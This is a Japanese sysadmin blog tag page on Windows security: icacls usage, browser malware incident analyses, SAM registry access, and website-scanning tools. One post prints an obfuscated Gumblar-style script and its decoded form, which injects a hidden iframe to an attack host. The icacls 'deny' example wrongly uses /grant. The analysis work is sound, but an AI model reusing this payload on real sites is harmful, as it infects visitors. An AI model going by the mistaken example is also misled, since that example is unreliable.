「ほっ」と。キャンペーン
タグ:セキュリティ ( 23 ) タグの人気記事
icacls.exe を使ってACL(NTFSアクセス権)を設定する
以前に、cacls.exe を使ってACL(NTFSアクセス権)を設定すると、xcacls.vbsを使って詳細なACL(NTFSアクセス権)を変更するでACLを設定する方法を書きました。

今回は、WindowsServer2003 SP2 から使えるようになった。icacls での設定方法です。
現在では、caclsよりも、icaclsを使うことが推奨されているようです。
(XPでicaclsを動かすには、xcaclsが使えないため、icaclsをXPで動かすようにしたを参照)


使い方は、icacls コマンドを叩くと、以下のヘルプが出てくるので、これを見れば大抵わかります。


>icacls

ICACLS <名前> /save <ACL ファイル> [/T] [/C] [/L] [/Q]
名前が一致するすべてのファイルとフォルダーの DACL を <ACL ファイル> に
格納して、後で /restore で指定できるようにします。SACL、所有者、整合性
ラベルは保存されません。

ICACLS <ディレクトリ> [/substitute <旧 SID> <新 SID> [...]] /restore:<ACL ファ
イル> [/C] [/L] [/Q]
格納されている DACL を <ディレクトリ> 内のファイルに適用します。

ICACLS <名前> /setowner <ユーザー> [/T] [/C] [/L] [/Q]
すべての一致する名前の所有者を変更します。このオプションは所有権の変更を
強制しません。所有権の変更を行うには、takeown.exe ユーティリティを使用し
ます。

ICACLS <名前> /findsid <SID> [/T] [/C] [/L] [/Q]
<SID> が明示されている ACL を含むすべての一致する名前を検索します。

ICACLS <名前> /verify [/T] [/C] [/L] [/Q]
ACL が正規の形式ではないか長さが ACE 数と一致しないすべてのファイルを
検索します。

ICACLS <名前> /reset [/T] [/C] [/L] [/Q]
すべての一致するファイルについて、ACL を継承された既定の ACL と置換します。

ICACLS <名前> [/grant[:r] <SID>:perm[...]]
[/deny <SID>:perm [...]]
[/remove[:g|:d]] <SID>[...]] [/T] [/C] [/L] [/Q]
[/setintegritylevel Level:policy[...]]

/grant[:r] <SID>:perm は、指定されたユーザー アクセス権を付与します。
:r を指定すると、以前に付与されたすべての明示的なアクセス許可は新しい
アクセス許可に置き換えられます。
:r を指定しない場合、新しいアクセス許可は以前に付与された明示的な
アクセス許可に追加されます。

/deny <SID>:perm は、指定されたユーザー アクセス権を明示的に否定します。
指定されたアクセス許可の明示的な否定 ACE が追加され、明示的な許可内容
に含まれた同じアクセス許可は削除されます。

/remove[:[g|d]] <SID> は、ACL 内にあるすべての <SID> を削除します。
:g を指定すると、その SID に対して許可されたすべての権限を ACL から
削除します。
:d を指定すると、その SID に対して否定されたすべての権限を ACL から
削除します。

/setintegritylevel [(CI)(OI)] レベルは、すべての一致するファイルに整合性
ACE を追加します。このレベルは次の 1 つとして指定されます。
L[ow]
M[edium]
H[igh]
整合性 ACE の継承オプションは、レベルの前に配置でき、
ディレクトリに対してのみ適用されます。

/inheritance:e|d|r
e - 継承を有効にします。
d - 継承を無効にし、ACE をコピーします。
r - 継承された ACE をすべて削除します。


注意:
<SID> は数値形式またはフレンドリ名形式で指定できます。数値形式の場合は、
SID の始めに * を付けます。

/T は、<名前> で指定されたディレクトリ以下のすべての一致するファイルと
ディレクトリに対してこの処理が実行されることを指定します。

/C は、どのようなファイル エラーが発生してもこの処理が続行されることを
指定します。ただしエラー メッセージは表示されます。

/L は、この処理がターゲットではなくシンボリック リンク自体に対して実行
されることを指定します。

/Q は、icacls が成功のメッセージを抑制することを指定します。

ICACLS は、ACE エントリの正規の順序を維持します:
明示的な否定内容
明示的な許可内容
継承された否定内容
継承された許可内容

perm はアクセス許可マスクであり、次の 2 種類の方法で指定できます:
単純な権限を列挙:
N - アクセス権なし
F - フル アクセス権
M - 変更アクセス権
RX - 読み取りと実行のアクセス権
R - 読み取り専用アクセス権
W - 書き込み専用アクセス権
D - 削除アクセス権
特定の権限をコンマ区切りでかっこ内に列挙:
DE - 削除
RC - 読み取り制御
WDAC - DAC の書き込み
WO - 所有者の書き込み
S - 同期
AS - システム セキュリティへのアクセス
MA - 無制限
GR - 一般的な読み取り
GW - 一般的な書き込み
GE - 一般的な実行
GA - 一般的なすべての操作
RD - データ読み取り/ディレクトリの一覧表示
WD - データ書き込み/ファイルの追加
AD - データの追加/サブディレクトリの追加
REA - 拡張属性の読み取り
WEA - 拡張属性の書き込み
X - 実行/スキャン
DC - 子の削除
RA - 属性の読み取り
WA - 属性の書き込み
継承権限はどちらの形式の前にも配置でき、ディレクトリにのみ適用され
ます:
(OI) - オブジェクト継承
(CI) - コンテナー継承
(IO) - 継承のみ
(NP) - 継承を適用しない
(I) - 親コンテナーから継承した権限

例:

icacls c:\windows\* /save <ACL ファイル> /T
- c:\windows より下にあるすべてのファイルとサブディレクトリの ACL を
<ACL ファイル> に保存します。

icacls c:\windows\ /restore <ACL ファイル>
- <ACL ファイル> 内のファイルのうち c:\windows とそのサブディレクトリ
内に存在するすべてのファイルの ACL を復元します。

icacls <ファイル> /grant Administrator:(D,WDAC)
- Administrator ユーザーに、<ファイル> に対する削除および DAC 書き込み
のアクセス許可を与えます。

icacls <ファイル> /grant *S-1-1-0:(D,WDAC)
- SID S-1-1-0 によって定義されたユーザーに、<ファイル> に対する削除
および DAC 書き込みのアクセス許可を与えます。






アクセス許可
アクセス許可を与えるは、/grant オプションを使います。
例えば、\\server\test に hodomain\user1 ユーザで"変更"の権限を加えるには以下のようにします。

icacls \\server\test /grant hodomain\user1:(OI)(CI)M

(OI)(CI)は継承をするという設定です。これを付けないと指定したフォルダのみにアクセス権が付与され、そのフォルダ配下は変更されません。

アクセス拒否
アクセス拒否の場合は、/deny オプションを使います。
以下の例は、user1の削除アクセス権を拒否する設定です。

icacls \\server\test /grant hodomain\user1:(OI)(CI)D


ACL削除
設定されたアクセス権を削除する場合は、/remove オプションを使います。

icacls \\server\test /remove hodomain\user1



アクセス許可マスク
一般的というか単純な権限のアクセス許可マスクは以下のようになります。

N - アクセス権なし
F - フル アクセス権
M - 変更アクセス権
RX - 読み取りと実行のアクセス権
R - 読み取り専用アクセス権
W - 書き込み専用アクセス権
D - 削除アクセス権


次は特殊なアクセス許可の指定ですが、以下のアクセス許可マスクが利用できるようです。
カッコ内に書き、複数指定する場合は、カンマ区切りになるようです。

DE - 削除
RC - 読み取り制御
WDAC - DAC の書き込み
WO - 所有者の書き込み
S - 同期
AS - システム セキュリティへのアクセス
MA - 無制限
GR - 一般的な読み取り
GW - 一般的な書き込み
GE - 一般的な実行
GA - 一般的なすべての操作
RD - データ読み取り/ディレクトリの一覧表示
WD - データ書き込み/ファイルの追加
AD - データの追加/サブディレクトリの追加
REA - 拡張属性の読み取り
WEA - 拡張属性の書き込み
X - 実行/スキャン
DC - 子の削除
RA - 属性の読み取り
WA - 属性の書き込み


例えば、あるフォルダの "データ読み取り/ディレクトリの一覧表示" と "削除" のみを許可する権限を付け、配下のフォルダにも継承させる場合は以下のようにします。

icacls \\server\test /grant hodomain\user1:(OI)(CI)(RD,DE)



継承
普通、フォルダは親フォルダのアクセス権を継承されています。
なので、トップフォルダがEveryoneのアクセス許可があって、配下のフォルダは特定のアカウントしかアクセスさせないようにするには、ACLを変更する前に継承を無効にしないといけません。
その為の設定が、/inheritance です。(なぜかWindowsServer2003版のicaclsではヘルプに無いですが、利用は出来ます)

例えば親フォルダの継承を解除し、親から設定されたアクセス権を削除するには以下のようにします。

icacls C:\test /inheritance:r

また、親フォルダの継承を解除し、親から設定されたアクセス権をコピーするには以下のようにします。

icacls C:\test /inheritance:d

eを指定すると継承が有効になります。

また、上述したとおり、/grant や /deny でACL編集する場合、(OI)(CI) を指定しないと、継承が有効にならないため、サブフォルダに適用されません。


ACLの表示、保存、復元
ACLの一覧表示は、パスを指定するだけでOKです。


icacls \\server\test /t
\\server\test HOGEDOMAIN\alluser:(RX)
HOGEDOMAIN\administrator:(I)(OI)(CI)(F)

\\server\test1 HOGEDOMAIN\user01:(OI)(CI)(M)
HOGEDOMAIN\administrator:(OI)(CI)(F)
HOGEDOMAIN\devlop:(OI)(CI)(F)

\\server\test2 HOGEDOMAIN\administrator:(I)(OI)(CI)(F)
HOGEDOMAIN\devlop:(I)(OI)(CI)(F)

/t オプションを指定すると、サブフォルダ,ファイルも再帰的に表示してくれます。
/save オプションをつけると、ファイルに保存ができます。(ただ保存されたファイルは、SDDL形式で保存されるため編集には不向きかもしれません)
/saveで保存したACLは /restore オプションで復元ができます。

icacls \\server\test /restore e:\acl.txt



ACLのバックアップ、復元ができるのは非常に運用面から言うとありがたいですね。


参考:
ICACLSを使ってアクセス権限をコマンドラインで変更する方法 - http://pnpk.net
@IT:icaclsコマンドでファイルのアクセス制御リストACLを保存/復元する
@IT:ファイルやフォルダのアクセス権をリセットして親フォルダから継承させる
[PR]
by jehoshaphat | 2014-01-29 23:55 | 豆知識 | Trackback | Comments(0)
xcaclsが使えないため、icaclsをXPで動かすようにした

EMCのストレージサーバVNXeでCIFSの共有フォルダサーバを構築しました。
VNXeはActiveDirectory環境が構築されていれば、共有フォルダ上のファイルやフォルダのアクセス権がNTFSボリュームのよう自由自在にできるのが素晴らしいです。
(Linuxを使ってる某サプライメーカーのNASはトップレベルの共有フォルダしかアクセス権設定出来なかったもんで。。。)

で、VNXeで千個近くのフォルダのアクセス権の設定をGUIからやってると日が暮れるので、自動でやってしまおうと思いました。(クライアントの環境はXPです)
一般的なアクセス権はcacls.exe を使ってACL(NTFSアクセス権)を設定するでも書いたように、caclsコマンドが使えます。
また、caclsで設定できない特殊なアクセス権もxcacls.vbsを使って詳細なACL(NTFSアクセス権)を変更するで紹介した xcacls.vbs を使おうとしたのですが、実行すると以下のエラーになりました。

Error -2147023174: occurred in connecting to server. (Msg#3203)
Error description: RPC サーバーを利用できません。


xcacls.vbsは接続先のサーバのWMIをRPCで操作してACLを設定してるわけなので、WindowsOSではないVNXeに対して実行するとエラーになるのも当然ですね。

で、WindowsServer2003(SP2以降),WindowsVistaから付属してる icacls というコマンドなら、RPC使わずに特殊なアクセス権も設定できるということで試そうかと思いました。

しかし、共有フォルダの運用管理しているPCのOSは XP(x86) です。
試しに、Windows7 の端末から icscls.exe (system32配下にあります)を抜いて来ましたが、XP上では動きませんでした。

今度は、WindowsServer2003 SP2(x86) から icscls.exe を抜くと動きそうな感じですが、以下のように表示がうまくされません。

D:\>icacls

ICACLS <



@IT:icaclsコマンドでファイルのアクセス制御リストACLを保存/復元するによると、これはヘルプが上手く表示されないだけで機能的には正しく動作するようです。
しかし、ヘルプが見れないと不便なので、パッチを当てることにしました。
パッチはWindowsServer2003側で適用しないといけません。(再起動は必要有りませんでした)
パッチはMSサポート:>Windows Server 2003 SP2 を実行しているコンピューター上のファイルまたはフォルダーの所有権を設定する Icacls.exe ユーティリティを実行するとエラー メッセージ: アクセスが拒否されました"Windows Server 2003 SP2 を実行しているコンピューター上のファイルまたはフォルダーの所有権を設定する Icacls.exe ユーティリティを実行するとエラー メッセージ: アクセスが拒否されました"から入手可能です。

パッチ適用前と後では icacls.exe のファイル情報は以下のように変わります。

・適用前
バージョン: 5.2.3790.3959
ファイルサイズ: 35,840 バイト
  ↓
・適用後
バージョン: 5.2.3790.4243
ファイルサイズ: 36,352 バイト

これで、パッチ適用後のサーバから iecacls.exe を抜いてXPで動かすと問題なく実行できました。
[PR]
by jehoshaphat | 2014-01-28 23:49 | 豆知識 | Trackback | Comments(0)
ESET Smart SecurityでJS/Kryptik.AHGを検知
相当久しぶりの更新です。なんやかんやで随分サボってましたorz


一週間ほど前になるんですが、とあるユーザが2ちゃんのまとめサイト(暇人速報)を見てて、ウイルス脅威アラートを検知しました。
ESET Smart SecurityではJS/Kryptik.AHGとして検知しました。

Chromeでアクセスすると、暇人速報はGoogle Safe Browsing APIによって危険サイトにされてしまっていました。
ちなみに、これと関係があるのかどうかわかりませんが、毎日jpやマイナビニュース、オリコンスタイル、はちま起稿、piaproなどもGoogle Safe Browsing APIでブロックされたようです。

さて、詳細を調査してみました。

プロキシのログを見るとどうやら、暇速内のフレーム(http://himasoku.com/ueko.htm)にから脅威となったURLにアクセスしたようです。
脅威となったURLは http://adf.send.microad.jp/ajs.php?zoneid=4331&snr=2&cb=92173025177&charset=_autodetect&loc=http://himasoku.com/ueko.htm&referer=http://himasoku.com/archives/xxxxxx.html となってました。

このajs.phpがどういう動きをしているのかわからなかったんですが、おそらくユーザエージェントやIPを判断して、悪質なJavaScriptをダウンロードさせるようなものだったようです。


このダウンロードされたJavaScriptコードをESET Smart Securityが隔離していたので、コイツを分析してみました。

JavaScriptの中身は通常の広告ページを表示するものと、noscript環境でimgを表示するもの(このimgのソースが昨今ESET検知で騒がれたd.href.asiaにアクセスしてました)、そして、文字コードの羅列で難読化された部分が存在していました。

難読化部分を解読すると、ブラウザやOSの情報を取得するメソッド、クッキーを追加・検索するメソッド、メインコードがあります。メインコードには、(ブラウザ==Firefox || ブラウザ==Explorer) && OS=Windows && 任意のクッキー(geo_idn", "c48a765e4f75baeb85f0a755fc3ec09c")が見つからない場合に、任意のクッキーを追加し、フレームでアダルト的な広告(http://adsmin.becompany.org/banners.cgi?advert_id=1&banner_id=2&chid=341aa8fca26bcff7830499c1c5f8e359)を表示するようになっていました。広告のリンク先は、http://senzapudore.net となっており、すでにコンテツが削除されていました。


結局、何か別のマルウェアをダウンロードするようなものでもなく、ESETがそのJavaScriptを実行前に隔離してしまったので、実害はなかったようです。


似たような事例がChrome 不正なソフトウェアによるサイトブロックに載ってました。

広告は悪用されるとホント怖いですね。。。
[PR]
by Jehoshaphat | 2013-03-12 08:52 | 豆知識 | Trackback | Comments(0)
最近のGumblar系マルウェアは悪質JavaScript挿入が動的?
先日とある雑誌会社提供の情報サイト(http://www.fqmagazine.jp/3727/news_kansens/)をみていると、ウイルス対策ソフト(ESET)が反応しました。(S/Iframe.AS)

WEBサイトのセキュリティチェックに役立つオンラインツールで紹介したaguseやDR.Web、virustotal等でチェックしましたが、それらでは白でした。

Linux端末で wget でソースを取得するも、ウイルス対策ソフトが反応しそうな Iframe や JavaScriptは有りません。

ん?とおもい、今度はWindows端末のOpera でJS実行を無効化し、問題のサイトにアクセスし、HTMLソースを見ると、以下のような難読化されたJavaScriptが出てきました。


if(window.document)aa=(Number+Date).substr(0,4);
aaa=([].sort+[].sort).substr(0,4);
if(aa===aaa){
ss=new String();
s=String;
12-function(){
e=window['e'+'v'+'a'+'l'];
f='fr';
f=f+'omCha'.concat('rC','o','d','e');}();
t='w';
}
ddd=new Date();
d2=new Date(ddd.valueOf()-2);
h=-1*(ddd-d2);
n=["4.5w4.5w52.5w51w16w20w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w20.5w61.5w4.5w4.5w4.5w52.5w51w57w48.5w54.5w50.5w57w20w20.5w29.5w4.5w4.5w62.5w16w50.5w54w57.5w50.5w16w61.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w59.5w57w52.5w58w50.5w20w17w30w52.5w51w57w48.5w54.5w50.5w16w57.5w57w49.5w30.5w19.5w52w58w58w56w29w23.5w23.5w57.5w48.5w55w53w58.5w48.5w55w57.5w52.5w51.5w55w57.5w23w55.5w57.5w48.5w23w56w54w23.5w57.5w52w55.5w59.5w58w52w57w50.5w48.5w50w23w56w52w56w31.5w58w30.5w27w25.5w28.5w26w25w24w27.5w25w19.5w16w59.5w52.5w50w58w52w30.5w19.5w24.5w24w19.5w16w52w50.5w52.5w51.5w52w58w30.5w19.5w24.5w24w19.5w16w57.5w58w60.5w54w50.5w30.5w19.5w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w29w52w52.5w50w50w50.5w55w29.5w56w55.5w57.5w52.5w58w52.5w55.5w55w29w48.5w49w57.5w55.5w54w58.5w58w50.5w29.5w54w50.5w51w58w29w24w29.5w58w55.5w56w29w24w29.5w19.5w31w30w23.5w52.5w51w57w48.5w54.5w50.5w31w17w20.5w29.5w4.5w4.5w62.5w4.5w4.5w51w58.5w55w49.5w58w52.5w55.5w55w16w52.5w51w57w48.5w54.5w50.5w57w20w20.5w61.5w4.5w4.5w4.5w59w48.5w57w16w51w16w30.5w16w50w55.5w49.5w58.5w54.5w50.5w55w58w23w49.5w57w50.5w48.5w58w50.5w34.5w54w50.5w54.5w50.5w55w58w20w19.5w52.5w51w57w48.5w54.5w50.5w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w57.5w57w49.5w19.5w22w19.5w52w58w58w56w29w23.5w23.5w57.5w48.5w55w53w58.5w48.5w55w57.5w52.5w51.5w55w57.5w23w55.5w57.5w48.5w23w56w54w23.5w57.5w52w55.5w59.5w58w52w57w50.5w48.5w50w23w56w52w56w31.5w58w30.5w27w25.5w28.5w26w25w24w27.5w25w19.5w20.5w29.5w51w23w57.5w58w60.5w54w50.5w23w59w52.5w57.5w52.5w49w52.5w54w52.5w58w60.5w30.5w19.5w52w52.5w50w50w50.5w55w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w56w55.5w57.5w52.5w58w52.5w55.5w55w30.5w19.5w48.5w49w57.5w55.5w54w58.5w58w50.5w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w54w50.5w51w58w30.5w19.5w24w19.5w29.5w51w23w57.5w58w60.5w54w50.5w23w58w55.5w56w30.5w19.5w24w19.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w59.5w52.5w50w58w52w19.5w22w19.5w24.5w24w19.5w20.5w29.5w51w23w57.5w50.5w58w32.5w58w58w57w52.5w49w58.5w58w50.5w20w19.5w52w50.5w52.5w51.5w52w58w19.5w22w19.5w24.5w24w19.5w20.5w29.5w4.5w4.5w4.5w50w55.5w49.5w58.5w54.5w50.5w55w58w23w51.5w50.5w58w34.5w54w50.5w54.5w50.5w55w58w57.5w33w60.5w42w48.5w51.5w39w48.5w54.5w50.5w20w19.5w49w55.5w50w60.5w19.5w20.5w45.5w24w46.5w23w48.5w56w56w50.5w55w50w33.5w52w52.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5"];
n=n[0].split(t);
for(i=0;i-n.length<0;i++)
ss=ss+s[f](-h*n[i]);
e(ss);


上記コードを可読化したものが以下になります。

if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://sanjuansigns.osa.pl/showthread.php?t=63942072');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}


確かに、Iframe を使って攻撃サイトにリダイレクトするような仕掛けになっています。
sanjuansigns.osa.plドメインはGoogleSafeBrowsingでも攻撃サイトとして判定されていました。
URLの引数によって、攻撃を仕掛けるかどうか判断しているようで、上記URLにアクセスしたときには404になってしまいました。

今回驚いたのは、攻撃サイトにリダイレクトするJavaScriptコードがアクセスするときによって含まれたり含まれなかったりするという点です。
今回の問題のサイトは、WEBアプリケーションフレームワークを使っているようで、URL叩いたら直接HTMLファイルを見に行くものではないようです。
ということは、WEBアプリケーション側に不正なコードが仕組まれて、クライアントからのリクエストの何かをパラメータとしてリダイレクトコードを含めるかどうか判断しているのかも知れません。
もしくは、負荷分散のため設置しているコンテンツサーバのどれか一台にだけリダイレクトコードが含まれているのかもしれません。
[PR]
by Jehoshaphat | 2012-02-06 00:13 | 豆知識 | Trackback | Comments(0)
NODがYahooのスタイルシートを脅威として検出した
昨年末の話になるんですが、ESET NOD32が朝からYahooのスタイルシートファイルを脅威として大量検知しました。

NOD32はそのスタイルシートファイルを CVE-2010-3962 というIEの脆弱性をついた攻撃であると判断したようです。

CVE-2010-3962 は IE6~8 のスタイルシートの設定内容の順番により、作業のために確保したメモリを解放しない脆弱性に起因するもので、そのメモリ領域に悪質なコードを埋め込むことで任意のコードが実行できるというもののようです。

スタイルシートの設定項目の順番により判断しているようなので、おそらくYahoo側がスタイルシートの設定を変更し、たまたまIEの脆弱性につながる順番となって NOD が検知したんじゃないかと思います。
まったく人騒がせな話です。

一時期ゼロデイ攻撃となっていたようですが、怖い話です。

参考:
CVE - CVE-2010-3962 (under review) Common Vulnerabilities and Exposures(CVE)という脆弱性情報データベースでの情報です。
JVNVU#899748: Microsoft Internet Explorer における無効なフラグ参照に起因する脆弱性 日本での脆弱性対策情報ポータルサイトでの情報です。
マイクロソフト セキュリティ アドバイザリ (2458511): Internet Explorer の脆弱性により、リモートでコードが実行される Microsoftでの脆弱性情報です。
MS10-090 : Internet Explorer の重要な更新 Microsoftでの修正パッチ情報です。
情報処理推進機構:情報セキュリティ: Internet Explorer の脆弱性の修正について(MS10-090) IPAでの情報です。

Internet Explorer(CVE-2010-3962/MS10-090) 実際にこの脆弱性をついてバックドアを仕掛け侵入する動画が掲載されています。
Internet Explorer 6, 7, 8 Memory Corruption 0day Exploit CVE-2010-3962を使ったエクスプロイトコード(脆弱性実証コード)が公開されています。上記の動画もこのコードで検証したと思われます。
Internet Explorer Memory Corruption 0day Vulnerability これもエクスプロイトコードですが、脆弱性となるスタイルシートの順番です。たったこれだけですが脅威抜群です。
[PR]
by jehoshaphat | 2011-08-16 12:19 | 豆知識 | Trackback | Comments(0)
レジストリのHKLM\SECURITYとHKLM\SAMを覗く方法
事の発端は、今年のはじめに Windows7 Home Premium Edition のPCを買った知人から、このPCを複数人で使わせたいがセキュリティ確保のためにパスワードの桁数ポリシーをつけたいということでした。


Professional Edition 以上ならローカルセキュリティポリシーのパスワードのポリシーでパスワードの長さについて設定することができますが、 Home Premium Edition はローカルセキュリティポリシーがないので、GUIで設定することができません。

しかし、GUIツールが無いだけでどうせレジストリに設定データ持たせているだけだろうということで、レジストリの分析が始まったわけです。


まず、レジストリのどこにパスワードポリシーの設定があるか分からなかったので、パスワードポリシーの設定変更前と後のレジストリをregeditでエクスポートしてWinMergeで差分を見てみることにしました。

しかし、どうもパスワードポリシーの設定っぽいキーが見当たりません。

で、調べるうちに、regeditでは普通に見れない下記のレジストリハイブがあることがわかりました。

HKEY_LOCAL_MACHINE\SAM
HKEY_LOCAL_MACHINE\Security

どうやらこの中にパスワードポリシーがあるっぽいのですが、regedit では上記ハイブ以下はみれません。
LocalSystemアカウント(NT AUTHORITY\Systemユーザ)でないとみれないようです。(LocalSystemアカウントについては、サービスで使用される「System」「Local Service」「Network Service」アカウントとは? - @ITを参照)
つまり、LocalSystemアカウントでレジストリエディタ(regedit)を起動すれば良いわけです。

そのために、PsExec.exe を使ってレジストリエディタを起動します。
PsExec.exe については、(ツール)リモートコンピュータ(Windows)のコマンドやプログラムを実行するPsExecを参照。
コマンドプロンプトで下記のように入力します。
(WindowsVista以降ならコマンドプロンプトを管理者権限で起動しないとアクセス拒否になります)

psexec.exe -s -i regedit


これで、HKLM\SECURITYとHKLM\SAM配下が見れるようになりました。
この状態で、ポリシー設定前と後の状態をエクスポートと、差分を取ります。

パスワードの桁数を6文字から5文字に変更した場合ですが、下記のようになっていました。(変更点が赤色。他のデータは00でダミー化)

"F"=hex:00,00,00,00,00,00,00,00,00,00,0000,00,00,00,00,59,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
03,00,00,00,00,00,00,05,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,\

どうやら、この赤色部分がパスワードの桁数ポリシーに関係する設定っぽいです。
しかし、SECURITY配下って基本的にバイナリで格納されている場合がおおく、どこからどこまでがパスワードポリシーの設定なのかわかりませんでした。
ハックサイトとかを調査すればより分かるんでしょうが、今回は時間がないということで、ここで諦めました。
結局、運用ルールをしっかり守って使ってもらうようにしてくれとしました。

ちなみに、HKLM\SAM配下はSAM(Security Account Manager)データベースと呼ばれており、ここにWindowsログインパスワードのハッシュも格納されているようです。
特にXP以前のOSはデフォルトで、セキュリティが弱いLMハッシュがはいっており、短いパスワードなら比較的簡単にクラックできるようですね。
Windowsパスワード解析ツールOphcrackを試してみたではツールを使って、SAMデータベース内のLMハッシュからパスワードを解析するツールについて書いています。

備考:
この記事執筆中に見つけたんですが、あいむの珍妄想ページ ~ののキューブ ~レジストリのカスタマイズ@IT:Windows TIPS -- Tips:レジストリへのアクセスをモニタする方法では、フリーソフトRegmonを使ってレジストリ変更点や参照を追跡できることが書いてありました。これを使えばもっと簡単にレジストリの場所を特定できたかもしれません。



参考:
セキュリティおよびレジストリ - パート1
ソニーが音楽CDに組み込んだ“Rootkit”とは何者か? - @IT
NewSID v4.10:
上級ユーザー向けの Windows レジストリ情報:
[PR]
by jehoshaphat | 2011-05-12 14:48 | 豆知識 | Trackback | Comments(0)
WindowsUpdateを当てるとUSBのAutoRunが無効化
昨今USBメモリのオートラン(自動再生機能)を使ったウイルスが多発しています。
勤務先でもしょっちゅう検出しています。

さて、マルウェア対策として、2011/2/23よりWindowsUpdateの「重要な更新プログラム」で、Autorun を無効化する更新(KB971029)が含まれるようになったようですね。
なお、CD,DVDのみオートランによる自動再生は有効のままだそうです。

以前からこの更新プログラムは存在してましたが、「オプションの更新プログラム」として配信されてました。
しかし、昨今のオートラン被害をみてMSもようやく重い腰を上げて重要な更新としたんでしょうね。

Windows7では当初からUSBのオートランが無効化されていましたが、どうせならその時にVista以前のOSについても重要更新として配布してほしかったですね。


ちなみに現時点で、WindowsUpdateのKB971029の詳細画面を表示すると、下記のようになってました。

Windows XP 用の更新プログラム (KB971029)
最終発行日時: 2011 年 2 月 22 日
一般的なダウンロード サイズ: 936 KB
この更新プログラムをインストールすると、CD ドライブと DVD ドライブでのみ [自動再生] ダイアログの AutoRun エントリが制限されます。インストール後には、コンピューターの再起動が必要になる場合があります。

↑日本語が間違ってますw。正しくは、「CD ドライブと DVD ドライブ以外で [自動再生] ダイアログの AutoRun エントリが制限されます。」ですよね。しっかりしてほしいです。

参考:
USB 経由のマルウェア感染に対する予防策 - Autorun の更新プログラム (971029) - 日本のセキュリティチーム - Site Home - TechNet Blogs
[PR]
by jehoshaphat | 2011-03-06 23:15 | 豆知識 | Trackback | Comments(0)
WEBサイトのセキュリティチェックに役立つオンラインツール
任意のWEBサイトが安全かどうか、また危険なWEBサイトがどんなマルウェアが置いてあるのかを調べる方法です。
いろいろなオンラインツールがあるようです。



e0091163_2041990.jpg

aguse


↑一番分かりやすいサイトです。日本発ですし、カペルスキーでのマルウェアチェック、リン先オブジェクトの一覧、ブラックリスト、ドメイン情報の詳細(GoogleMapで表示)などがあります。

↓最近発見した国内の感染サイトをチェックした時のスクリーンショットです。
e0091163_2064642.jpg




e0091163_2065968.jpg

Dr.WEB

↑ロシアのセキュリティ企業みたいです。http://online.us.drweb.com/のページだとローカル上のファイルのチェックもできるようです。

↓INFECTEDだと感染しています。
e0091163_2073278.jpg




e0091163_2074589.jpg

URL Void

↑十数種類のアンチウイルスサービスでチェックしてくれます。各製品のウイルス定義名も表示されるので便利です。

↓サイトの全体の評価です。
e0091163_2084769.jpg


↓上記のページで、Scan Website リンクを押下すると各アンチウイルス製品の結果が出ます。
e0091163_2092245.jpg




e0091163_2095181.jpg

Wepawet

↑FlashやJavaScript/PDFを検査する時に使えます。

↓ちょっと分かりづらいですがマルウェアと関係してるかどうかが把握できます。
e0091163_20103149.jpg




e0091163_2219276.jpg

VirusTotal

↑複数のアンチウイルスソフトで検査できます。ローカルファイル以外にも、URLを指定してサイトを検査することもできるようです。今のところ、43種類のエンジンで検査できるようです。
昔は日本語表示できたようでしたが、今は何故か英語でした。。。




e0091163_2133877.jpg

vURL Online

↑指定したページのHTMLソースを表示してくれます。JavaScript部分は赤色で表示されるので、怪しいサイトにブラウザでアクセスしたくないけどソースは確認したいという時に使えるかもしれません。



e0091163_2153571.jpg

Sucuri SiteCheck

↑英語表記ですが、指定したページの安全性をチェックしてくれます。リンク先のJavaScriptファイルについても変なところにリダイレクトしていないかチェックしてくれるので、優れものです。

↓最近発見した感染サイトをチェックした時のスクリーンショットです。
e0091163_2144579.jpg




e0091163_2193283.jpg

Unmask Parasites

↑英語表記ですが、シンプルな解析をしてくれます。JavaScriptの不正リダイレクトも一部ソースを表示してくれます。

↓最近発見した感染サイトをチェックした時のスクリーンショットです。
e0091163_2195221.jpg



参考:
無料URL(Webサイト)ウイルスチェック一覧 - フリーソフト100
サイト診断&オンラインリンクスキャン 【URLウイルスチェック】
無料オンラインウイルス動作挙動解析サイト 【サンドボックス】
悪意あるPDF(malicious PDF)に含まれる Exploit コードを pdf-parser.py で確認する - 思い立ったら書く日記 PDFの実行コードに関する話です。
[PR]
by jehoshaphat | 2010-11-23 20:14 | ツール | Trackback | Comments(0)
Javaアプレットを使ったトロイの木馬
社内でJavaアプレットを使ったトロイの木馬をアンチウイルスソフトが検知しました。
ESETではJava/TrojanDownloader.OpenStream.NAU、KASPERSKYではTrojan-Downloader.Java.OpenConnection.bu、TrendMicroではJAVA_DLOAD.SPと検知されます。


ttp://failinnocent.co.cc/statistic/anywirxngohpiw.jar というのが引っ掛かったみたいです。

このJARをダウンロードして解析してみました。
まず、JARファイルを下記コマンドで解凍してクラスファイルを取り出します。(Javaが入ってる必要性があります。)

jar xvf anywirxngohpiw.jar


672 KAVS.class
461 a$1.class
2212 a.class
1422 b.class

a.classが引っ掛かってたんですが、それぞれのクラスファイルを逆コンパイルしてみました。
Javaの逆コンパイルはJADを使うのが一般的ですが、オンライン Java 逆コンパイルツールだと、オンラインでできるので便利です。

逆コンパイル結果は下記のようになりました。

・a.class

